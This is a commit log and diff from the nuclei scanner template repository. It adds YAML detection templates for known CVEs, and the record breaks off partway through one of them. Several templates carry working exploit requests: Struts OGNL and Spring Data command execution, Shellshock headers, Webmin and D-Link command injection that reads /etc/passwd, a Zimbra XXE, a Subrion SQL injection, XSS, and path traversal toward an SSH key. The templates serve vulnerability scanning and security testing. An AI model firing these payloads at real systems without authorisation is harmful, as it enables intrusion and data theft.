Chintan Gurjar 1d6d4e0324 Create virtualems.yaml
Detects Virtual EMS login portals.
2020-09-26 19:42:26 +12:00
Chintan Gurjar 08704ff205 Create networkcamera.yaml
This template is helpful to detect network cameras among a large range of IPs in your scope.
2020-09-26 19:40:38 +12:00
Chintan Gurjar 6423ceaaf8 ✅ Create GoAnywhereClientLogin template.
Identify login panel for goanywhereclient.
2020-09-26 19:36:28 +12:00
bauthard 64fcc97dbd Merge pull request #493 from dwisiswant0/add/CVE-2017-11444
Add CVE-2017-11444
2020-09-26 11:06:55 +05:30
Dwi Siswanto 624bb0316a 🔥 Add CVE-2017-11444 2020-09-26 08:05:00 +07:00
bauthard d89a96143b Merge pull request #492 from bp0lr/master
added CVE-2019-15107
2020-09-25 20:10:56 +05:30
bp0lr 0922fb623e added CVE-2019-15107 2020-09-25 09:30:58 -03:00
bp0lr ecddef3d6c added cve-2019-15107 2020-09-25 09:23:29 -03:00
bp0lr bee3e3839e added cve-2019-15107 2020-09-25 09:20:52 -03:00
root 114f83abc4 add CVE-2017-7615 2020-09-24 15:34:36 -03:00
bauthard 164075fb28 syntax update 2020-09-24 23:46:21 +05:30
bauthard c89904cc14 Update CVE-2020-14179.yaml 2020-09-24 23:32:55 +05:30
Philippe Delteil 6b1ec31424 tomcat detected improved using groups 2020-09-24 01:34:05 +00:00
Philippe Delteil b47fa0f130 apache version detector 2020-09-22 22:16:37 +00:00
Philippe Delteil 01d618c2e0 apache tomcat version detecter 2020-09-22 21:26:52 +00:00
sushant-kamble 25fd4da110 new template 2020-09-02 17:22:30 -05:00
89 changed files with 2607 additions and 131 deletions

No files matched your search

+9 -1
View File
@@ -1,3 +1,11 @@
.pre-commit-config.yaml
security-misconfiguration/missing-x-frame-options.yaml
cves/CVE-2020-13379.yaml
security-misconfiguration/missing-hsts.yaml
security-misconfiguration/missing-csp.yaml
security-misconfiguration/basic-cors-flash.yaml
cves/CVE-2017-7529.yaml
cves/CVE-2020-13379.yaml
cves/CVE-2013-2251.yaml
vulnerabilities/x-forwarded-host-injection.yaml
fuzzing/
workflows/
+76 -19
View File
@@ -10,24 +10,25 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
### nuclei templates `v7.0.5`
### nuclei templates `v7.2.0`
| Template Directory | Number of Templates |
|---------------------------|--------------------------|
| cves |106 |
| cves |125 |
| default-credentials |03 |
| dns |04 |
| files |40 |
| files |44 |
| fuzzing |02 |
| generic-detections |03 |
| panels |35 |
| security-misconfiguration |23 |
| panels |39 |
| security-misconfiguration |25 |
| subdomain-takeover |02 |
| technologies |27 |
| tokens |07 |
| vulnerabilities |31 |
| technologies |32 |
| tokens |08 |
| vulnerabilities |33 |
| workflows |15 |
### nuclei templates `v7.0.5` tree overview
### nuclei templates `v7.2.0` tree overview
<details>
<summary>Template Directory</summary>
@@ -35,12 +36,15 @@ An overview of the nuclei template directory including number of templates and H
```
├── cves
│   ├── CVE-2005-2428.yaml
│   ├── CVE-2013-2251.yaml
│   ├── CVE-2014-6271.yaml
│   ├── CVE-2017-10075.yaml
│   ├── CVE-2017-11444.yaml
│   ├── CVE-2017-14537.yaml
│   ├── CVE-2017-14849.yaml
│   ├── CVE-2017-5638.yaml
│   ├── CVE-2017-7391.yaml
│   ├── CVE-2017-7529.yaml
│   ├── CVE-2017-7615.yaml
│   ├── CVE-2017-9506.yaml
│   ├── CVE-2017-9841.yaml
│   ├── CVE-2018-0296.yaml
@@ -49,10 +53,12 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2018-11759.yaml
│   ├── CVE-2018-1247.yaml
│   ├── CVE-2018-1271.yaml
│   ├── CVE-2018-1273.yaml
│   ├── CVE-2018-13379.yaml
│   ├── CVE-2018-14728.yaml
│   ├── CVE-2018-16341.yaml
│   ├── CVE-2018-16763.yaml
│   ├── CVE-2018-17431.yaml
│   ├── CVE-2018-18069.yaml
│   ├── CVE-2018-19386.yaml
│   ├── CVE-2018-19439.yaml
@@ -75,10 +81,14 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2019-14696.yaml
│   ├── CVE-2019-14974.yaml
│   ├── CVE-2019-15043.yaml
│   ├── CVE-2019-15107.yaml
│   ├── CVE-2019-15858.yaml
│   ├── CVE-2019-16278.yaml
│   ├── CVE-2019-1653.yaml
│   ├── CVE-2019-16662.yaml
│   ├── CVE-2019-16759-1.yaml
│   ├── CVE-2019-16759.yaml
│   ├── CVE-2019-16920.yaml
│   ├── CVE-2019-17382.yaml
│   ├── CVE-2019-17558.yaml
│   ├── CVE-2019-18394.yaml
@@ -86,6 +96,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2019-19781.yaml
│   ├── CVE-2019-19908.yaml
│   ├── CVE-2019-19985.yaml
│   ├── CVE-2019-20141.yaml
│   ├── CVE-2019-2588.yaml
│   ├── CVE-2019-2725.yaml
│   ├── CVE-2019-3396.yaml
@@ -95,6 +106,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2019-6715.yaml
│   ├── CVE-2019-7256.yaml
│   ├── CVE-2019-7609.yaml
│   ├── CVE-2019-8442.yaml
│   ├── CVE-2019-8449.yaml
│   ├── CVE-2019-8451.yaml
│   ├── CVE-2019-8903.yaml
@@ -104,18 +116,23 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-10204.yaml
│   ├── CVE-2020-11034.yaml
│   ├── CVE-2020-1147.yaml
│   ├── CVE-2020-12116.yaml
│   ├── CVE-2020-12720.yaml
│   ├── CVE-2020-13167.yaml
│   ├── CVE-2020-13379.yaml
│   ├── CVE-2020-14179.yaml
│   ├── CVE-2020-14181.yaml
│   ├── CVE-2020-15129.yaml
│   ├── CVE-2020-15505.yaml
│   ├── CVE-2020-15920.yaml
│   ├── CVE-2020-16139.yaml
│   ├── CVE-2020-16952.yaml
│   ├── CVE-2020-17505.yaml
│   ├── CVE-2020-17506.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-2140.yaml
│   ├── CVE-2020-24223.yaml
│   ├── CVE-2020-24312.yaml
│   ├── CVE-2020-2551.yaml
│   ├── CVE-2020-25540.yaml
│   ├── CVE-2020-3187.yaml
│   ├── CVE-2020-3452.yaml
@@ -137,9 +154,13 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-8194.yaml
│   ├── CVE-2020-8512.yaml
│   ├── CVE-2020-8982.yaml
│   ├── CVE-2020-9047.yaml
│   ├── CVE-2020-9344.yaml
│   ├── CVE-2020-9484.yaml
│   ├── CVE-2020-9496.yaml
│   └── CVE-2020-9757.yaml
│   ├── CVE-2020-9757.yaml
│   ├── cve-2019-9733.yaml
│   └── cve-2020-0618.yaml
├── default-credentials
│   ├── grafana-default-credential.yaml
│   ├── rabbitmq-default-admin.yaml
@@ -154,10 +175,12 @@ An overview of the nuclei template directory including number of templates and H
│   ├── cgi-test-page.yaml
│   ├── dir-listing.yaml
│   ├── docker-registry.yaml
│   ├── domcfg-page.yaml
│   ├── druid-monitor.yaml
│   ├── drupal-install.yaml
│   ├── ds_store.yaml
│   ├── elasticsearch.yaml
│   ├── elmah-log-file.yaml
│   ├── error-logs.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-svn.yaml
@@ -169,12 +192,15 @@ An overview of the nuclei template directory including number of templates and H
│   ├── jolokia.yaml
│   ├── laravel-env.yaml
│   ├── lazy-file.yaml
│   ├── magento-config.yaml
│   ├── ntlm-directories.yaml
│   ├── php-errors.yaml
│   ├── phpinfo.yaml
│   ├── public-tomcat-instance.yaml
│   ├── robots.txt.yaml
│   ├── security.txt.yaml
│   ├── server-status-localhost.yaml
│   ├── shell-history.yaml
│   ├── sql-dump.yaml
│   ├── telerik-dialoghandler-detect.yaml
│   ├── telerik-fileupload-detect.yaml
@@ -189,13 +215,19 @@ An overview of the nuclei template directory including number of templates and H
│   ├── wordpress-tmm-db-migrate.yaml
│   ├── wordpress-user-enumeration.yaml
│   ├── wp-xmlrpc.yaml
│   ├── wsdl-detect.yaml
│   └── zip-backup-files.yaml
├── fuzzing
│   ├── arbitrary-file-read.yaml
│   ├── directory-traversal.yaml
│   └── generic-lfi-fuzzing.yaml
├── generic-detections
│   ├── basic-xss-prober.yaml
│   ├── general-tokens.yaml
│   └── top-15-xss.yaml
├── panels
│   ├── adminer-panel.yaml
│   ├── aims-password-mgmt-client.yaml
│   ├── atlassian-crowd-panel.yaml
│   ├── cisco-asa-panel.yaml
│   ├── citrix-adc-gateway-detect.yaml
@@ -204,16 +236,17 @@ An overview of the nuclei template directory including number of templates and H
│   ├── docker-api.yaml
│   ├── fortinet-fortigate-panel.yaml
│   ├── globalprotect-panel.yaml
│   ├── go-anywhere-client.yaml
│   ├── grafana-detect.yaml
│   ├── iomega-lenovo-emc-shared-nas-detect.yaml
│   ├── jenkins-asyncpeople.yaml
│   ├── jmx-console.yaml
│   ├── kubernetes-pods.yaml
│   ├── manage-engine-admanager-panel.yaml
│   ├── mobileiron-login.yaml
│   ├── mongo-express-web-gui.yaml
│   ├── netscaler-gateway.yaml
│   ├── network-camera-detect.yaml
│   ├── parallels-html-client.yaml
│   ├── pfsense-web-gui.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
│   ├── pulse-secure-panel.yaml
@@ -221,15 +254,18 @@ An overview of the nuclei template directory including number of templates and H
│   ├── sap-netweaver-detect.yaml
│   ├── sap-recon-detect.yaml
│   ├── sonarqube-login.yaml
│   ├── sonicwall-management-panel.yaml
│   ├── sonicwall-sslvpn-panel.yaml
│   ├── sophos-fw-version-detect.yaml
│   ├── supervpn-panel.yaml
│   ├── swagger-panel.yaml
│   ├── tikiwiki-cms.yaml
│   ├── traefik-dashboard
│   ├── traefik-dashboard.yaml
│   ├── virtual-ema-detect.yaml
│   ├── weave-scope-dashboard-detect.yaml
│   ├── webeditors.yaml
│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
│   ├── workspace-one-uem.yaml
│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
├── payloads
│   ├── CVE-2020-5776.csv
│   └── CVE-2020-6287.xml
@@ -245,12 +281,16 @@ An overview of the nuclei template directory including number of templates and H
│   ├── jira-unauthenticated-popular-filters.yaml
│   ├── jira-unauthenticated-projects.yaml
│   ├── jira-unauthenticated-user-picker.yaml
│   ├── jupyter-ipython-unauth.yaml
│   ├── larvel-debug.yaml
│   ├── manage-engine-ad-search.yaml
│   ├── missing-csp.yaml
│   ├── missing-hsts.yaml
│   ├── missing-x-frame-options.yaml
│   ├── put-method-enabled.yaml
│   ├── rack-mini-profiler.yaml
│   ├── salesforce-aura-misconfig.yaml
│   ├── sidekiq-dashboard.yaml
│   ├── springboot-detect.yaml
│   ├── unauthenticated-airflow.yaml
│   ├── unauthenticated-jenkin-dashboard.yaml
@@ -261,6 +301,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── detect-all-takeovers.yaml
│   └── s3-subtakeover.yaml
├── technologies
│   ├── apache-detect.yaml
│   ├── artica-web-proxy-detect.yaml
│   ├── bigip-config-utility-detect.yaml
│   ├── citrix-vpn-detect.yaml
@@ -269,16 +310,22 @@ An overview of the nuclei template directory including number of templates and H
│   ├── favicon-detection.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── google-storage.yaml
│   ├── graphql.yaml
│   ├── home-assistant.yaml
│   ├── jaspersoft-detect.yaml
│   ├── jira-detect.yaml
│   ├── kong-detect.yaml
│   ├── liferay-portal-detect.yaml
│   ├── linkerd-badrule-detect.yaml
│   ├── linkerd-ssrf-detect.yaml
│   ├── lotus-domino-version.yaml
│   ├── magmi-detect.yaml
│   ├── netsweeper-webadmin-detect.yaml
│   ├── nifi-detech.yaml
│   ├── oidc-detect.yaml
│   ├── pi-hole-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── s3-detect.yaml
│   ├── sap-netweaver-as-java-detect.yaml
@@ -286,18 +333,20 @@ An overview of the nuclei template directory including number of templates and H
│   ├── shiro-detect.yaml
│   ├── sql-server-reporting.yaml
│   ├── tech-detect.yaml
│   ├── tomcat-detect.yaml
│   ├── waf-detect.yaml
│   ├── weblogic-detect.yaml
│   └── werkzeug-debugger-detect.yaml
├── tokens
│   ├── amazon-mws-auth-token-value.yaml
│   ├── aws-access-key-value.yaml
│   ├── credentials-disclosure.yaml
│   ├── fcm-server-key.yaml
│   ├── google-api-key.yaml
│   ├── http-username-password.yaml
│   ├── mailchimp-api-key.yaml
│   └── slack-access-token.yaml
├── vulnerabilities
│   ├── Symantec-Messaging-Gateway.yaml
│   ├── bullwark-momentum-series-directory-traversal.yaml
│   ├── cached-aem-pages.yaml
│   ├── couchdb-adminparty.yaml
@@ -316,18 +365,26 @@ An overview of the nuclei template directory including number of templates and H
│   ├── pdf-signer-ssti-to-rce.yaml
│   ├── rce-shellshock-user-agent.yaml
│   ├── rce-via-java-deserialization.yaml
│   ├── rconfig-rce.yaml
│   ├── sassy-social-share.yaml
│   ├── sick-beard-xss.yaml
│   ├── springboot-actuators-jolokia-xxe.yaml
│   ├── springboot-h2-db-rce.yaml
│   ├── symantec-messaging-gateway.yaml
│   ├── symfony-debugmode.yaml
│   ├── tikiwiki-reflected-xss.yaml
│   ├── tomcat-manager-pathnormalization.yaml
│   ├── twig-php-ssti.yaml
│   ├── vmware-vcenter-lfi.yaml
│   ├── vpms-auth-bypass.yaml
│   ├── w3c-total-cache-ssrf.yaml
│   ├── wems-manager-xss.yaml
│   ├── wordpress-duplicator-path-traversal.yaml
│   ├── wordpress-emails-verification-for-woocommerce.yaml
│   ├── wordpress-social-metrics-tracker.yaml
│   ├── wordpress-wordfence-xss.yaml
│   └── x-forwarded-host-injection.yaml
│   ├── wordpress-wpcourses-info-disclosure.yaml
│   └── zms-auth-bypass.yaml
└── workflows
├── artica-web-proxy-workflow.yaml
├── bigip-pwner-workflow.yaml
@@ -348,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H
</details>
13 directories, **298 templates**.
14 directories, **352 templates**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
+25
View File
@@ -0,0 +1,25 @@
id: cve-2013-2251
info:
name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
author: exploitation
severity: critical
description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
requests:
- method: GET
path:
- "{{BaseURL}}/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
- "{{BaseURL}}/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
- "{{BaseURL}}/index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
- "{{BaseURL}}/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "uid="
condition: and
part: body
+31
View File
@@ -0,0 +1,31 @@
id: CVE-2014-6271
info:
name: Shellshock
author: pentest_swissky
severity: high
description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/cgi-bin/status"
- "{{BaseURL}}/cgi-bin/stats"
- "{{BaseURL}}/cgi-bin/test"
- "{{BaseURL}}/cgi-bin/status/status.cgi"
- "{{BaseURL}}/test.cgi"
- "{{BaseURL}}/debug.cgi"
headers:
Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
+24
View File
@@ -0,0 +1,24 @@
id: cve-2017-11444
info:
name: Subrion CMS SQL Injection
author: dwisiswant0
severity: high
description: Subrion CMS before 4.1.5.10 has a SQL injection vulnerability in /front/search.php via the $_GET array.
# Source:
# - https://mp.weixin.qq.com/s/89mCnjUCvmptLsKaeVlC9Q
requests:
- method: GET
path:
- "{{BaseURL}}/search/members/?id`%3D520)%2f**%2funion%2f**%2fselect%2f**%2f1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2Cunhex%28%2770726f6a656374646973636f766572792e696f%27%29%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%23sqli=1"
matchers-condition: and
matchers:
- type: word
words:
- "projectdiscovery.io"
part: body
- type: status
status:
- 200
-33
View File
@@ -1,33 +0,0 @@
id: cve-2017-7529
info:
author: "Harsh Bothra & @dwisiswant0"
name: "Nginx Remote Integer Overflow"
severity: medium
description: Nginx versions since 0.5.6 up to and including 1.13.2 are vulnerable to integer overflow vulnerability in nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.
# This template supports the detection part only.
# Do not test any website without permission
# https://gist.githubusercontent.com/BlackVirusScript/75fae10a037c376555b0ad3f3da1a966/raw/d1cc081053636711881ea45c84e0971d5babe103/CVE-2017-7529.py
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=-17208,-9223372036854758792
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 206
- type: word
words:
- "Server: nginx"
part: header
- type: word
words:
- "Content-Range"
part: body
+38
View File
@@ -0,0 +1,38 @@
id: cve-2017-7615
info:
name: CVE-2017-7615
author: bp0lr & dwisiswant0
severity: high
description: MantisBT through 2.3.0 allows arbitrary password reset and unauthenticated admin access via an empty confirm_hash value to verify.php.
# THIS TEMPLATE IS ONLY FOR DETECTING
# To carry out further attacks, please see reference[2] below.
# This template works by guessing user ID.
# MantisBT before 1.3.10, 2.2.4, and 2.3.1, that can be downloaded on reference[1].
# References:
# - [1] https://sourceforge.net/projects/mantisbt/files/mantis-stable/
# - [2] http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt
# - [3] https://www.exploit-db.com/exploits/41890
requests:
- method: GET
path:
- "{{BaseURL}}/verify.php?id=1&confirm_hash="
- "{{BaseURL}}/mantis/verify.php?id=1&confirm_hash="
- "{{BaseURL}}/mantisBT/verify.php?id=1&confirm_hash="
- "{{BaseURL}}/mantisbt-2.3.0/verify.php?id=1&confirm_hash="
- "{{BaseURL}}/bugs/verify.php?confirm_hash=&id=1"
matchers-condition: and
matchers:
- type: word
words:
- "<input type=\"hidden\" name=\"account_update_token\" value=\"([a-zA-Z0-9_-]+)\""
part: body
- type: status
status:
- 200
+34
View File
@@ -0,0 +1,34 @@
id: cve-2018-1273
info:
name: Spring Data Commons Unauthenticated RCE
author: dwisiswant0
severity: critical
description: |
Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5,
and older unsupported versions, contain a property binder vulnerability
caused by improper neutralization of special elements.
An unauthenticated remote malicious user (or attacker) can supply
specially crafted request parameters against Spring Data REST backed HTTP resources
or using Spring Data’s projection-based request payload binding hat can lead to a remote code execution attack.
requests:
- payloads:
command:
- "cat /etc/passwd"
- "type C:\\/Windows\\/win.ini"
raw:
- |
POST /account HTTP/1.1
Host: {{Hostname}}
Connection: close
Content-Type: application/x-www-form-urlencoded
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
+2 -2
View File
@@ -10,7 +10,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
- "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.domain)%2f%2f"
matchers-condition: and
matchers:
@@ -19,4 +19,4 @@ requests:
- 200
- type: word
words:
- 'javascript:alert(document.cookie)//'
- '<a href="javascript:alert(document.domain)//'
+32
View File
@@ -0,0 +1,32 @@
id: cve-2019-15107
info:
name: Webmin <= 1.920 Unauhenticated Remote Command Execution
author: bp0lr
severity: high
# Refrence:-https://www.exploit-db.com/exploits/47293
# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
requests:
- raw: #
- |
POST /password_change.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://{{Hostname}}/
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
Connection: close
Upgrade-Insecure-Requests: 1
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
+29
View File
@@ -0,0 +1,29 @@
id: cve-2019-15858
info:
name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
author: dwisiswant0
severity: high
description: |
This template supports the detection part only. See references.
admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
before 2.2.5 for WordPress allows unauthenticated options import,
as demonstrated by storing an XSS payload for remote code execution.
Source/References:
- https://github.com/GeneralEG/CVE-2019-15858
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "2.2.5"
part: body
+20
View File
@@ -0,0 +1,20 @@
id: cve-2019-1653
info:
name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
author: dwisiswant0
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/cgi-bin/config.exp"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "sysconfig"
part: body
+65
View File
@@ -0,0 +1,65 @@
id: cve-2019-16920
info:
name: Unauthenticated Multiple D-Link Routers RCE
author: dwisiswant0
severity: critical
description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
# References:
# - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
requests:
- raw:
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: http://{{Hostname}}/
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: http://{{Hostname}}/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
- |
POST /apply_sec.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Connection: close
Referer: http://{{Hostname}}/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
- type: status
status:
- 200
+20
View File
@@ -0,0 +1,20 @@
id: cve-2019-20141
info:
name: Neon Dashboard - XSS Reflected
author: knassar702
severity: medium
description: |
An XSS issue was discovered in the Laborator Neon theme 2.0 for WordPress via the data/autosuggest-remote.php q parameter.
Source/References:
- https://knassar7o2.blogspot.com/2019/12/neon-dashboard-cve-2019-20141.html
requests:
- method: GET
path:
- "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
- "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
matchers:
- type: word
words:
- "<img src=x onerror=alert(1)>"
part: body
+19
View File
@@ -0,0 +1,19 @@
id: cve-2019-8442
info:
name: JIRA Directory Traversal
author: Kishore Krishna (siLLyDaddy)
severity: medium
requests:
- method: GET
path:
- >-
{{BaseURL}}/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- <groupId>com.atlassian.jira</groupId>
part: body
+31
View File
@@ -0,0 +1,31 @@
id: cve-2019-9670
info:
name: Zimbra Collaboration XXE
description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
author: ree4pwn
severity: critical
requests:
- raw:
- |
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
matchers:
- type: regex
regex:
- 'root:[x*]:0:0'
part: body
+1 -1
View File
@@ -5,7 +5,7 @@ info:
author: pikpikcu
severity: low
# security-advisories: https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
# https://github.com/glpi-project/glpi/security/advisories/GHSA-gxv6-xq9q-37hg
# https://github.com/glpi-project/glpi/archive/9.4.6.zip
# https://nvd.nist.gov/vuln/detail/CVE-2020-11034
+54
View File
@@ -0,0 +1,54 @@
id: cve-2020-12116
info:
name: Unauthenticated Zoho ManageEngine OpManger Arbitrary File Read
author: dwisiswant0
severity: high
description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a crafted request.
# References:
# - https://github.com/BeetleChunks/CVE-2020-12116
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: */*
Connection: close
- |
GET / HTTP/1.1
Host: {{Hostname}}:8060
Accept: */*
Connection: close
- |
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: {{Hostname}}
Accept: */*
Cache-Control: max-age=0
Connection: close
Referer: http://{{Hostname}}
- |
GET endpoint../../../../bin/.ssh_host_rsa_key HTTP/1.1
Host: {{Hostname}}:8060
